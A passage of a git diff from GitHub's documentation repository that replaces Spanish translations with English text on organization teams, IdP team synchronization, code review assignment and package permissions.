tu organización ha habilitado la creación de repositorio de miembro, migrar los equipos de administradores heredados a los permisos mejorados de la organización no afectará la capacidad de los miembros del equipo de crear repositorios. +**Warning:** If your organization has disabled [repository creation permissions](/articles/restricting-repository-creation-in-your-organization) for all members, some members of legacy admin teams may lose repository creation permissions. If your organization has enabled member repository creation, migrating legacy admin teams to improved organization permissions will not affect team members' ability to create repositories. {% endwarning %} -## Migrar todos tus equipos de administradores heredados de tu organización +## Migrating all of your organization's legacy admin teams {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.teams_sidebar %} -1. Revisa tus equipos de administradores heredados de la organización, después haz clic en **Migrate all teams (Migrar todos los equipos)**. ![Botón Migrar todos los equipos](/assets/images/help/teams/migrate-all-legacy-admin-teams.png) -1. Lee la información sobre los posibles cambios en permisos para los miembros de estos equipos, después haz clic en **Migrate all teams (Migrar todos los equipos).** ![Botón Confirmar migración](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png) +1. Review your organization's legacy admin teams, then click **Migrate all teams**. + ![Migrate all teams button](/assets/images/help/teams/migrate-all-legacy-admin-teams.png) +1. Read the information about possible permissions changes for members of these teams, then click **Migrate all teams.** + ![Confirm migration button](/assets/images/help/teams/confirm-migrate-all-legacy-admin-teams.png) -## Migrar un equipo de administradores único +## Migrating a single admin team {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} -1. En la casilla de descripción de equipo, haz clic en **Migrate team (Migrar equipo)**. ![Botón Migrar equipo](/assets/images/help/teams/migrate-a-legacy-admin-team.png) +1. In the team description box, click **Migrate team**. + ![Migrate team button](/assets/images/help/teams/migrate-a-legacy-admin-team.png) diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md b/translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md index 617b4a42e6..052dc5b6af 100644 --- a/translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md +++ b/translations/es-ES/content/organizations/organizing-members-into-teams/about-teams.md @@ -1,6 +1,6 @@ --- -title: Acerca de los equipos -intro: Los equipos son grupos de miembros de una organización que reflejan la estructura de tu empresa o grupo con menciones y permisos de acceso en cascada. +title: About teams +intro: Teams are groups of organization members that reflect your company or group's structure with cascading access permissions and mentions. redirect_from: - /articles/about-teams - /github/setting-up-and-managing-organizations-and-teams/about-teams @@ -14,69 +14,69 @@ topics: - Teams --- -![Listado de equipos en una organización](/assets/images/help/teams/org-list-of-teams.png) +![List of teams in an organization](/assets/images/help/teams/org-list-of-teams.png) -Los propietarios de la organización y los mantenedores del equipo le pueden otorgar a los equipos acceso de escritura, de lectura o de administrador a los repositorios de la organización. Los miembros de la organización pueden enviar una notificación a todo un equipo al mencionar el nombre del equipo. Los miembros de la organización también pueden enviar una notificación a todo un equipo al solicitar una revisión de ese equipo. Los miembros de la organización pueden solicitar revisiones de equipos específicos con acceso de lectura al repositorio donde la solicitud de extracción esté abierta. Los equipos pueden ser designados como propietarios de ciertos tipos o áreas de código en un archivo CODEOWNERS. +Organization owners and team maintainers can give teams admin, read, or write access to organization repositories. Organization members can send a notification to an entire team by mentioning the team's name. Organization members can also send a notification to an entire team by requesting a review from that team. Organization members can request reviews from specific teams with read access to the repository where the pull request is opened. Teams can be designated as owners of certain types or areas of code in a CODEOWNERS file. -Para obtener más información, consulta: -- "[Administrar el acceso del equipo al repositorio de una organización](/articles/managing-team-access-to-an-organization-repository)" -- "[Mencionar personas y equipos](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" -- "[Acerca de los propietarios del código](/articles/about-code-owners/)" +For more information, see: +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)" +- "[About code owners](/articles/about-code-owners/)" -![Imagen de la mención a un equipo](/assets/images/help/teams/team-mention.png) +![Image of a team mention](/assets/images/help/teams/team-mention.png) {% ifversion ghes %} -También puedes usar la sincronización LDAP para sincronizar los roles del equipo y los miembros del equipo de {% data variables.product.product_location %} con tus grupos de LDAP establecidos. Esto te permite establecer un control de acceso para usuarios basado en roles desde tu servidor LDAP, en lugar de hacerlo de forma manual dentro de {% data variables.product.product_location %}. Para obtener más información, consulta "[Activar sincronización LDAP](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap#enabling-ldap-sync)". +You can also use LDAP Sync to synchronize {% data variables.product.product_location %} team members and team roles against your established LDAP groups. This lets you establish role-based access control for users from your LDAP server instead of manually within {% data variables.product.product_location %}. For more information, see "[Enabling LDAP Sync](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync)." {% endif %} {% data reusables.organizations.team-synchronization %} -## Visibilidad del equipo +## Team visibility {% data reusables.organizations.types-of-team-visibility %} -You can view all the teams you belong to on your personal dashboard. Para obtener más información, consulta "[Acerca de tu tablero personal](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)". +You can view all the teams you belong to on your personal dashboard. For more information, see "[About your personal dashboard](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard#finding-your-top-repositories-and-teams)." -## Paginas del equipo +## Team pages -Cada equipo tiene su propia página dentro de una organización. En la página de un equipo, puedes ver los miembros del equipo, los equipos hijo y los repositorios del equipo. Los propietarios de la organización y los mantenedores del equipo pueden acceder a los parámetros del equipo y actualizar la foto de perfil y la descripción del equipo desde la página del equipo. +Each team has its own page within an organization. On a team's page, you can view team members, child teams, and the team's repositories. Organization owners and team maintainers can access team settings and update the team's description and profile picture from the team's page. -Los miembros de la organización pueden crear y participar en debates con el equipo. Para obtener más información, consulta [Acerca de los debates del equipo](/organizations/collaborating-with-your-team/about-team-discussions)". +Organization members can create and participate in discussions with the team. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." -![Página del equipo que enumera los miembros del equipo y los debates](/assets/images/help/organizations/team-page-discussions-tab.png) +![Team page listing team members and discussions](/assets/images/help/organizations/team-page-discussions-tab.png) -## Equipos anidados +## Nested teams -Puedes reflejar la jerarquía de tu grupo o empresa dentro de tu organización de {% data variables.product.product_name %} con varios niveles de equipos anidados. Un equipo padre puede tener varios equipos hijo, mientras que cada equipo hijo solo tiene un equipo padre. No puedes anidar equipos secretos. +You can reflect your group or company's hierarchy within your {% data variables.product.product_name %} organization with multiple levels of nested teams. A parent team can have multiple child teams, while each child team only has one parent team. You cannot nest secret teams. -Los equipos hijo heredan los permisos de acceso del padre, lo que simplifica la administración de permisos para los grupos grandes. Los miembros de los equipos hijo también reciben notificaciones cuando se hace una @mención al equipo padre, simplificando la comunicación con varios grupos de personas. +Child teams inherit the parent's access permissions, simplifying permissions management for large groups. Members of child teams also receive notifications when the parent team is @mentioned, simplifying communication with multiple groups of people. -Por ejemplo, si la estructura de tu equipo es Empleados > Ingeniería > Ingeniería de aplicación> Identidad, otorgar acceso de escritura a Ingeniería en un repositorio implicará que también se podrá acceder a Ingeniería de aplicación e Identidad. Si haces una @mención al equipo de Identidad o a cualquier equipo de la parte inferior de la jerarquía de la organización, son los únicos que recibirán una notificación. +For example, if your team structure is Employees > Engineering > Application Engineering > Identity, granting Engineering write access to a repository means Application Engineering and Identity also get that access. If you @mention the Identity Team or any team at the bottom of the organization hierarchy, they're the only ones who will receive a notification. -![Página de los equipos con un equipo padre y equipos hijo](/assets/images/help/teams/nested-teams-eng-example.png) +![Teams page with a parent team and child teams](/assets/images/help/teams/nested-teams-eng-example.png) -Para comprender fácilmente quién comparte las menciones y los permisos de un equipo padre, puedes ver todos los miembros de los equipos hijo de un equipo padre en la pestaña Miembros de la página del equipo padre. Los miembros de un equipo hijo no son miembros directos del equipo padre. +To easily understand who shares a parent team's permissions and mentions, you can see all of the members of a parent team's child teams on the Members tab of the parent team's page. Members of a child team are not direct members of the parent team. -![Página del equipo padre con todos los miembros de los equipos hijo](/assets/images/help/teams/team-and-subteam-members.png) +![Parent team page with all members of child teams](/assets/images/help/teams/team-and-subteam-members.png) -Puedes elegir un padre cuando creas el equipo o puedes mover un equipo más tarde en la jerarquía de tu organización. Para obtener más información, consulta [Mover un equipo dentro de la jerarquía de tu organización](/articles/moving-a-team-in-your-organization-s-hierarchy)". +You can choose a parent when you create the team, or you can move a team in your organization's hierarchy later. For more information see, "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." {% data reusables.enterprise_user_management.ldap-sync-nested-teams %} -## Prepararse para anidar equipos en tu organización +## Preparing to nest teams in your organization -Si tu organización ya tiene equipos existentes, deberías auditar los permisos de acceso a los repositorios de cada equipo antes de anidar equipos por arriba o por debajo del mismo. También deberías considerar la nueva estructura que te gustaría implementar para tu organización. +If your organization already has existing teams, you should audit each team's repository access permissions before you nest teams above or below it. You should also consider the new structure you'd like to implement for your organization. -En la parte superior de la jerarquía del equipo, deberías otorgar permisos de acceso a los repositorios de los equipos padre que son seguros para cada miembro del equipo padre y sus equipos hijo. A medida que te mueves hacia la parte inferior de la jerarquía, puedes otorgar a los equipos hijo un acceso adicional, más pormenorizado para los repositorios más confidenciales. +At the top of the team hierarchy, you should give parent teams repository access permissions that are safe for every member of the parent team and its child teams. As you move toward the bottom of the hierarchy, you can grant child teams additional, more granular access to more sensitive repositories. -1. Eliminar todos los miembros de los equipos existentes. -2. Auditar y ajustar los permisos de acceso a los repositorios de cada equipo y darle a cada equipo un padre. -3. Crear todos los equipos nuevos que quieras, elegir un padre para cada equipo nuevo y otorgarles acceso a los repositorios. -4. Agregar las personas directamente a los equipos. +1. Remove all members from existing teams +2. Audit and adjust each team's repository access permissions and give each team a parent +3. Create any new teams you'd like to, choose a parent for each new team, and give them repository access +4. Add people directly to teams -## Leer más +## Further reading -- "[Crear un equipo](/articles/creating-a-team)" -- "[Agregar miembros de la organización a un equipo](/articles/adding-organization-members-to-a-team)" +- "[Creating a team](/articles/creating-a-team)" +- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)" diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md index 917d782ab2..1430d9a82c 100644 --- a/translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md +++ b/translations/es-ES/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md @@ -79,7 +79,7 @@ Any team members that have set their status to "Busy" will not be selected for r ![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png) 9. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip. ![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png) -{% ifversion fpt or ghec or ghae-next or ghes > 3.2 %} +{% ifversion fpt or ghec or ghae-issue-5108 or ghes > 3.2 %} 11. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**. 12. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**. 13. Optionally, to remove the review request from the team when assigning team members, select **Team review request**. diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md index f89a1b98cd..1c53bcbdc8 100644 --- a/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md +++ b/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md @@ -1,9 +1,9 @@ --- -title: Sincronizar un equipo con un grupo de proveedor de identidad -intro: 'Puedes sincronizar un equipo de {% data variables.product.product_name %} con un grupo de proveedor de identidad (IdP) para agregar y eliminar miembros del grupo automáticamente.' +title: Synchronizing a team with an identity provider group +intro: 'You can synchronize a {% data variables.product.product_name %} team with an identity provider (IdP) group to automatically add and remove team members.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group -product: '{% data reusables.gated-features.team-synchronization %}' +product: '{% data reusables.gated-features.team-synchronization %} ' permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.' versions: fpt: '*' @@ -12,92 +12,95 @@ versions: topics: - Organizations - Teams -shortTitle: Sincronizar con un IdP +shortTitle: Synchronize with an IdP --- -{% data reusables.gated-features.okta-team-sync %} - {% data reusables.enterprise-accounts.emu-scim-note %} -## Acerca de la sincronización de equipo +## About team synchronization {% data reusables.identity-and-permissions.about-team-sync %} -{% ifversion fpt or ghec %}Puedes conectar hasta cinco grupos de IdP a un equipo de {% data variables.product.product_name %}.{% elsif ghae %}Puedes conectar a un equipo de {% data variables.product.product_name %} a un grupo de IdP. Todos los usuarios en el grupo se agregan automáticamente al equipo y también a la organización padre como miembros. Cuando desconectas a un grupo de un equipo, los usuarios que se convirtieron en miembros de la organización a través de una membrecía de equipo se eliminan de dicha organización.{% endif %} Puedes asignar un grupo de IdP a varios equipos de {% data variables.product.product_name %}. +{% ifversion fpt or ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams. -{% ifversion fpt or ghec %}La sincronización de equipos no es compatible con grupos de IdP con más de 5000 miembros.{% endif %} +{% ifversion fpt or ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %} -Una vez que un equipo de {% data variables.product.prodname_dotcom %} se conecta a un grupo de IdP, tu administrador de IdP debe hacer cambios en la membrecía del equipo a través del proveedor de identidad. No puedes administrar las membrecías de equipo en {% data variables.product.product_name %}{% ifversion fpt or ghec %} ni utilizando la API{% endif %}. +Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion fpt or ghec %} or using the API{% endif %}. {% ifversion fpt or ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} {% ifversion fpt or ghec %} -Todos los cambios a la membrecía de equipo que se hagan con tu IdP aparecerán en la bitácora de auditoría en {% data variables.product.product_name %} como cambios que realiza el bot de sincronización de equipos. Tu IdP enviará datos de la membresía de equipo a {% data variables.product.prodname_dotcom %} una vez por hora. Conectar un equipo a un grupo IdP puede eliminar a algunos miembros del equipo. Para obtener más información, consulta "[Requisitos para los miembros de los equipos sincronizados](#requirements-for-members-of-synchronized-teams)." +All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour. +Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)." {% endif %} {% ifversion ghae %} -Cuando cambia la membrecía de grupo en tu IdP, este envía una solicitud de SCIM con los cambios a {% data variables.product.product_name %} de acuerdo con la programación que determinó tu IdP. Cualquier solicitud que cambie la membrecía de organización o equipo de {% data variables.product.prodname_dotcom %} se registrará en la bitácora de auditoría como cambios que realizó la cuenta que se utilizó para configurar el aprovisionamiento de usuarios. Para obtener más información sobre esta cuenta, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". Para obtener más información acerca de los itinerarios de solicitudes de SCIM, consulta la sección "[Verificar el estado del aprovisionamiento de usuarios](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" en Microsoft Docs. +When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs. {% endif %} -Los equipos padre no pueden sincronizarse con los grupos de IdP. Si el equipo que quieres conectar a un grupo de IdP es un equipo padre, te recomendamos crear un equipo nuevo o eliminar las relaciones anidadas que hacen de tu equipo un equipo padre. Para obtener más información, consulta las secciónes "[Acerca de los equipos](/articles/about-teams#nested-teams)", "[Crear un equipo](/organizations/organizing-members-into-teams/creating-a-team)", y "[Mover un equipo en la jerarquía de tu organización](/articles/moving-a-team-in-your-organizations-hierarchy)". +Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)." -Para administrar el acceso de un repositorio para cualquier equipo de {% data variables.product.prodname_dotcom %}, incluyendo los equipos conectados a un grupo de IdP debes hacer cambios con {% data variables.product.product_name %}. Para obtener más información, consulta "[Acerca de equipos](/articles/about-teams)" y "[Administrar el acceso de equipo a un repositorio de la organización](/articles/managing-team-access-to-an-organization-repository)." +To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." -{% ifversion fpt or ghec %}También puedes administrar la sincronización de equipos con la API. Para obtener más información, consulta la sección "[Sincronización de equipos](/rest/reference/teams#team-sync)".{% endif %} +{% ifversion fpt or ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %} {% ifversion fpt or ghec %} -## Requisitos para los miembros de los equipos sincronizados +## Requirements for members of synchronized teams -Después de que conectas un equipo a un grupo de IdP, la sincronización de equipos agregará a cada miembro del grupo de IdP al equipo correspondiente en {% data variables.product.product_name %} únicamente si: -- La persona es un miembro de la organización en {% data variables.product.product_name %}. -- La persona ya ingresó con su cuenta de usuario en {% data variables.product.product_name %} y se autenticó en la cuenta organizacional o empresarial a través del inicio de sesión único de SAML por lo menos una vez. -- La identidad de SSO de la persona es miembro del grupo de IdP. +After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if: +- The person is a member of the organization on {% data variables.product.product_name %}. +- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once. +- The person's SSO identity is a member of the IdP group. -Los equipos o miembros del grupo existentes que no cumplan con estos criterios se eliminarán automáticamente del equipo en {% data variables.product.product_name %} y perderán acceso a los repositorios. El revocar la identidad ligada a un usuario también eliminará a dicho usuario de cualquier equipo que se encuentre mapeado en los grupos de IdP. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." +Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." -Puedes volver a agregar automáticamente a aquellos miembros del equipo que hayas eliminado una vez que se autentiquen en la cuenta empresarial u organizacional utilizando el SSO y así se migren al grupo de IdP conectado. +A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group. -Para evitar eliminar miembros del equipo accidentalmente, te recomendamos requerir el SSO de SAML en tu cuenta organizacional o empresarial mediante la creación de nuevos equipos para sincronizar datos de membrecías y revisar la membrecía del grupo de IdP antes de que sincronices a los equipos existentes. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." {% endif %} -## Prerrequisitos +## Prerequisites {% ifversion fpt or ghec %} -Antes de que puedas conectar a un equipo de {% data variables.product.product_name %} con un grupo de proveedores de identidad, un propietario de empresa u organización debe habilitar la sincronización de equipos para tu organización o cuenta empresarial. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." -Para evitar el eliminar miembros del equipo accidentalmente, visita el protal administrativo para tu IdP y confirma que cada miembro actual del equipo también se encuentre en los grupos de IdP que quieras conectar a este equipo. Si no tienes este acceso a tu proveedor de identidad, puedes comunicarte con tu administrador de IdP. +To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator. -Debes autenticarte utilizando el SSO de SAML. Para obtener más información, consulta "[Acerca de la autenticación con el inicio de sesión único de SAML](/articles/about-authentication-with-saml-single-sign-on)". +You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." {% elsif ghae %} -Antes de que puedas conectar a un equipo de {% data variables.product.product_name %} con un grupo de IdP, primero debes configurar el aprovisionamiento de usuarios para {% data variables.product.product_location %} utilizando un sistema compatible para la Administración de Identidad entre Dominios (SCIM). Para obtener más información, consulta la sección "[Configurar el aprovisionamiento de usuarios para tu empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". +Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." -Una vez que se configure el aprovisionamiento de usuarios para {% data variables.product.product_name %} utilizando SCIM, puedes asignar la aplicación de {% data variables.product.product_name %} a cada grupo de IdP que quieras utilizar en {% data variables.product.product_name %}. Para obtener más información, consulta la sección de [Configurar el aprovisionamiento automático de usuarios en GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) en los Microsoft Docs. +Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs. {% endif %} -## Conectar un grupo de IdP a tu equipo +## Connecting an IdP group to a team -Cuando conectas un grupo de IdP a un equipo de {% data variables.product.product_name %}, todos los usuarios en el grupo se agregan automáticamente al equipo. {% ifversion ghae %}Cualquier usuario que no fuera un miembro de aquellos de la organización desde antes también se agregará a esta.{% endif %} +When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. Debajo de "Grupos del Proveedor de Identidad", utiliza el menú desplegable y selecciona hasta 5 grupos del proveedor de identidad. ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} -6. Debajo de "Grupo del Proveedor de Identidad", utiliza el menú desplegable y selecciona un grupo de proveedor de identidad de la lista. ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} -7. Haz clic en **Guardar cambios**. +6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups. + ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list. + ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %} +7. Click **Save changes**. -## Desconectar un grupo de IdP de un equipo +## Disconnecting an IdP group from a team -Si desconectas un grupo de IdP de un equipo de {% data variables.product.prodname_dotcom %}, los miembros de este equipo que fueran asignados al equipo {% data variables.product.prodname_dotcom %} a través del grupo de IdP se eliminarán de dicho equipo. {% ifversion ghae %} Cualquier usuario que fuera miembro de la organización padre únicamente debido a esa conexión de equipo también se eliminará de la organización.{% endif %} +If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %} {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% ifversion fpt or ghec %} -6. Debajo de "Grupos del Proveedor de Identidad", a la derecha del grupo de IdP que quieras desconectar, da clic en {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} -6. Debajo de "Grupo del Proveedor de Identidad", a la derecha del grupo de IdP que quieras desconectar, da clic en {% octicon "x" aria-label="X symbol" %}. ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} -7. Haz clic en **Guardar cambios**. +6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %} +6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. + ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %} +7. Click **Save changes**. diff --git a/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md index 18c5254c73..e746043111 100644 --- a/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md +++ b/translations/es-ES/content/packages/learn-github-packages/about-permissions-for-github-packages.md @@ -1,87 +1,85 @@ --- -title: Acerca de los permisos para los Paquetes de GitHub -intro: Aprende cómo administrar los permisos de tus paquetes. +title: About permissions for GitHub Packages +intro: Learn about how to manage permissions for your packages. product: '{% data reusables.gated-features.packages %}' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: Acerca de los permisos +shortTitle: About permissions --- {% ifversion fpt or ghec %} -Los permisos de los paquetes pueden ser con alcance de repositorio o de usuario/organización. +The permissions for packages are either repository-scoped or user/organization-scoped. {% endif %} -## Permisos para los paquetes con alcance de repositorio +## Permissions for repository-scoped packages -Un paquete con alcance de repositorio hereda los permisos y la visibilidad del repositorio al que pertenece el paquete. Puedes encontrar un paquete con alcance de un repositorio específico si vas a la página principal de este y haces clic en el enlace de **Paquetes** a la derecha de la página. {% ifversion fpt or ghec %}Para obtener más información, consulta la sección "[Conectar un repositorio con un paquete](/packages/learn-github-packages/connecting-a-repository-to-a-package)".{% endif %} +A repository-scoped package inherits the permissions and visibility of the repository that owns the package. You can find a package scoped to a repository by going to the main page of the repository and clicking the **Packages** link to the right of the page. {% ifversion fpt or ghec %}For more information, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."{% endif %} -Los registros del {% data variables.product.prodname_registry %} que se mencionan a continuación utilizan permisos con alcance de repositorio: +The {% data variables.product.prodname_registry %} registries below use repository-scoped permissions: {% ifversion not fpt or ghec %}- Docker registry (`docker.pkg.github.com`){% endif %} - - Registro de npm - - Registro de RubyGems - - Registro de Apache maven - - Registro de NuGet + - npm registry + - RubyGems registry + - Apache Maven registry + - NuGet registry {% ifversion fpt or ghec %} -## Permisos granulares para paquetes con alcance de organización/usuario +## Granular permissions for user/organization-scoped packages -Los paquetes con permisos granulares tienen un alcance de una cuenta personal o de organización. Puedes 